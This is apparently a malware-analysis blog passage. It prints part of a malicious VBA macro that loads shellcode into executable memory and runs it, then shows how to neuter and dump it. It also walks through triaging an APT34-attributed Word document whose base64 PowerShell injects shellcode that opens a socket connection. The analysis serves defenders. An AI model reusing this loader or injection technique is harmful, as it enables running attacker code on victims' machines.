&H0, &HC7, &H44, &H24, &H28, &H1, &H0, &H0, &H0, &H48, &HC7, &H44, &H24, &H20, &H0, &H0, &H0, &H0, &H45, &H33, &HC9, &H4C, &H8D, &H84, &H24, &H90, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HC0, &H4, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HC0, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &HC8, &H1, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H8C, &H24, &HB0, &H3, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H8C, &H24, &H20, &H4, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H81, &HC4, &HD8, &H4, &H0, &H0, &HC3, &HCC, &HCC)
    Dim kernel32 As LongPtr, addr_LoadLibraryA As LongPtr, addr_GetProcAddr As LongPtr
    Dim rising_sun As String
    rising_sun = "kernel32"
    kernel32 = LoadLibraryA("kernel32")
    addr_LoadLibraryA = GetProcAddress(kernel32, "LoadLibraryA")
    addr_GetProcAddr = GetProcAddress(kernel32, "GetProcAddress")
    Dim twefasfg As Long, rgggsdfa As Long
    Dim eIndex1 As Long, eIndex2 As Long, eValue As Long
    Dim vAddress As LongPtr, Result As LongPtr
    vAddress = VirtualAlloc(0, 3224, &H1000, &H40)
    size_count = 0
    For eIndex1 = 0 To BlockCount - 1
        For eIndex2 = 0 To UBound(shellcode(eIndex1))
            eValue = shellcode(eIndex1)(eIndex2)
            binbuffer(size_count) = eValue
            size_count = size_count + 1
        Next eIndex2
    Next eIndex1
    Result = RtlMoveMemory(VarPtr(binbuffer(1265)), addr_LoadLibraryA, 8)
    Result = RtlMoveMemory(VarPtr(binbuffer(1283)), addr_GetProcAddr, 8)

    For eIndex1 = 0 To size_count - 1
        eValue = binbuffer(eIndex1)
        Result = RtlMoveMemory(vAddress + eIndex1, eValue, 1)
    Next eIndex1
    Dim LMCooperator As Long
    LMCooperator = SharpShooter(vAddress, 0, 0)
    Exit Sub
End Sub

As this blog post is not about detailing how that macro works exactly I’ll just point out some key points. So the Macro stores bytes in a 2d byte array which I called shellcode for now. It then allocates 3224 bytes using VirtualAlloc. The allocated sections carry the 0x40 protection flag which according to Microsoft’s documentation refers to PAGE_EXECUTE_READWRITE. So whatever the macro puts there will be executable. It then flattens out the 2d array into a 1d byte array using two nested loops. I called that variable binbuffer. Now comes the tricky part and the reason why I post about this sample. The macro in-memory replaces two sections of the flat bytearray with the memory addresses of LoadLibraryA and GetProcAddr. I assume the resulting in memory-code will use these library calls and needs the addresses of these functions. This gives the code the ability to address the library more easily even if ASLR is activated (which it usually is for Office Products). Unfortunately it makes our job more difficult as well. We can’t just dump the byte array and treat it as runnable shellcode as we will be missing the actual addresses of the mentioned functions. That requires us to use another frequently used technique to extract stuff – alter the code until it spits out whatever we need.


There is one very important thing you need to know about Macros. VBA is not VBS. While you can run VBS code using cscript.exe, VBA code will not run. For this particular code it fails. VBA is exclusive for Microsoft applications and a few third party vendors who licensed VBA for their products, one of them being AutoCAD. For us, that means that our best bet is to use Word to execute the Macro. What I’m interested in is the exact byte array it loads int o memory in the last for loop.

 For eIndex1 = 0 To size_count - 1
        eValue = binbuffer(eIndex1)
        Result = RtlMoveMemory(vAddress + eIndex1, eValue, 1)
    Next eIndex1

So let’s fire up Excel and don’t allow the Macros to run. We first need to make running that save. Obviously everything from now on happens on a save Lab VM.

The Document

So before I allow macros to run I edit the code a little bit. Generally commenting out one line will be enough. Line 75 would execute the in-memory code. Sharpshooter was declared to be msvcrt._beginthread().

Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long


LMCooperator = SharpShooter(vAddress, 0, 0)

So I just comment that line out. In addition to that I want to dump the resulting byte array to a file. The easiest way to do that for me was to use the StrConv Function and the Open command to open a file. The resulting code section looks something like this.

For eIndex1 = 0 To yefawfq - 1
    eValue = grqwasf(eIndex1)
    Result = gzsdfasd(vAddress + eIndex1, eValue, 1)
Next eIndex1
Open "C:\Users\abc\Desktop\shellcode.txt" For Output As #1
hexstr = StrConv(grqwasf, vbUnicode)
Print #1, hexstr
Dim LMCooperator As Long
'LMCooperator = SharpShooter(vAddress, 0, 0)
Exit Sub

This is a fast and easy way to get the final version of the binary code out leveraging Word.

Quick Office Document Triage

As people quite frequently ask me how I triage potentially malicious Microsoft Office documents, I decided to run through a quick analysis here. 

Our specimen for that tutorial is a word document out of the malware collection published by @0xffff0800 on http://iec56w4ibovnb4wc.onion (URL might change. Check current address at attributes the file to an Iranian Threat actor dubbed APT34 by Mandiant/FireEye. You can download the file  directly from the repository or Virus Total (

Specimen Details

Size39’936 b
This is how the file looks like when you open it in Word (Don’t do it, but if you really have to don’t enable Macros 😜)

As you can see, they didn’t really care about crafting a nicer fake document. I trust, your red-team does better than that.

Triage vs. Full Analysis 

The main goal of a triage is to allow a medium experienced Forensic analyst who probably has no background in malware reverse engineering to figure out if a document is malicious and even get some IOCs out of it. The approach I’m suggesting here is a low-risk approach as it works completely without opening the file in Microsoft Word or executing any PowerShell code. For the sake of completeness, I’ll give some hints on how a Malware Analyst could continue dissecting the malware. 

Tools used

1.) Finding the Macro

We are looking at an old Word Document format as indicated by the .doc suffix. Those documents are stored in the OLECF  file format (further reading). Oledump is a nice tool written in python that allows you to extract various streams contained in the olecf file. So let’s take a closer look at the file and see if it is even malicious. MagicHoundAPT34.doc 

This will scan the file for all subelements in the compound file. For the given specimen it shows the following output. Note the stream number 7. This is the only stream that contains a macro.

Scanning the document

Oledump offers a fast and easy way to extract individual streams. As macros are usually compressed, we need the -v flag as well to decompress the content.

Stream 7 in uncompressed form

Looking at the macro, what we see are typical Powershell parameters and a lot base64 encoded sections. Let’s dump the macro in a separate file to look at it more closely. -s7 -v MagicHoundAPT34.doc > macro.txt 

2.) Revealing the actual code

Looking at the macro in the Texteditor of your choice (I use Sublime), preferably one that supports syntax highlighting we see that the main payload seems to be PowerShell based, and the vb macro only executes PowerShell and shows an error message.

powershell.exe  called using the vb Shell command

So apparently we need to decode the base64 Powershell source next. You probably realized that it is not a single string block, but multiple concatenated string blocks. So we need to clean that up a bit and then decode it into a new file called base64.txt 

Mac OS:
base64 -D base64.txt > powershell1.txt
Most Linux:
base64 -d base64.txt > powershell1.txt

That gives us an interesting piece of PowerShell code. At first, we see, that there seems to be some additional PowerShell code in a string variable called $G8t. at the end of the file, that same Powershell code gets base64 encoded again and then executed with the 32-bit version of PowerShell (Note the location of powershell.exe in a subfolder of syswow64). A very common reason to use 32-bit binaries is when the attacker happens to have 32-bit shellcode he wants to execute. This code wouldn’t run using 64-bit binaries. So let’s look for some shellcode. I’m sure you spotted it already. The variable called $z is an array of byte values. If you look at the code more closely you see, that the attacker leverages the memset function to write the shellcode bytewise into memory he allocated using VirtualAlloc. The malware seems to be flexible when it loads shellcode. Normally it allocates $g bytes which would be 1000 bytes. If the shellcode us longer it changes $g to reflect the actual size of the shellcode.

PowerShell code in powershell1.txt

For an incident responder with no malware analysis background, that would be the right moment to hand the sample over to a malware analyst. 

3.) Extracting and analysing the shellcode 

If you don’t know what shellcode is, Wikipedia has an easy to read article on that topic. So lets get out the shellcode in hex first. It looks like this.


I want to use CyberChef to create a binary file out of the shellcode. For that to work, I either need to get rid of all the 0x or the commas as CyberChef only accepts one separator.  I’ll get rid of the commas and paste it into CyberChef’s input window. Selecting the “From HEX” recipe gives me some gibberish characters in the output window. That’s exactly how machine code is supposed to look like in ASCII. So let’s save that to a file by clicking on the save icon. I choose shellcode.bin.

Creating binary shellcode from the HEX string

So now that we got the shellcode, what do we do next? Shellcode is not a complete binary. It usually uses functions provided by the operating system, in that case, windows to do whatever it needs to do. We have two options now. We do have way more than one option to run it anyhow. For a first glance, I’ll use a tool called scdbg. It allows us to run shellcode without first putting it into a complete windows executable. The downside of this is, that we can’t really debug it from there. One note, if you do the same thing, be aware that scdbg actually executes the code. This can definitely harm your system. So let’s see if we can get it to run.

Shellcode loaded into scdbg
Results after running the shellcode through scdbg

Ok, so now we know a bit more about the shellcode. It seems to leverage a WSASocket to open a connection to a local IP address on port 5555. This IP is not in the subnet of the analysis workstation so there is no way it would get a response. So wouldn’t it be nice if we could look at what it is trying to do there more closely? I guess it is worth a try. There is a nice little tool written by Adam Kramer that can help us out. It is called jmp2it. It allows us to debug the shellcode. But that’s already way beyond simple malware triage for Incident Responders. I’ll put up a separate blog entry on how to proceed with that sample as soon as I have time. So happy hunting and have a great weekend.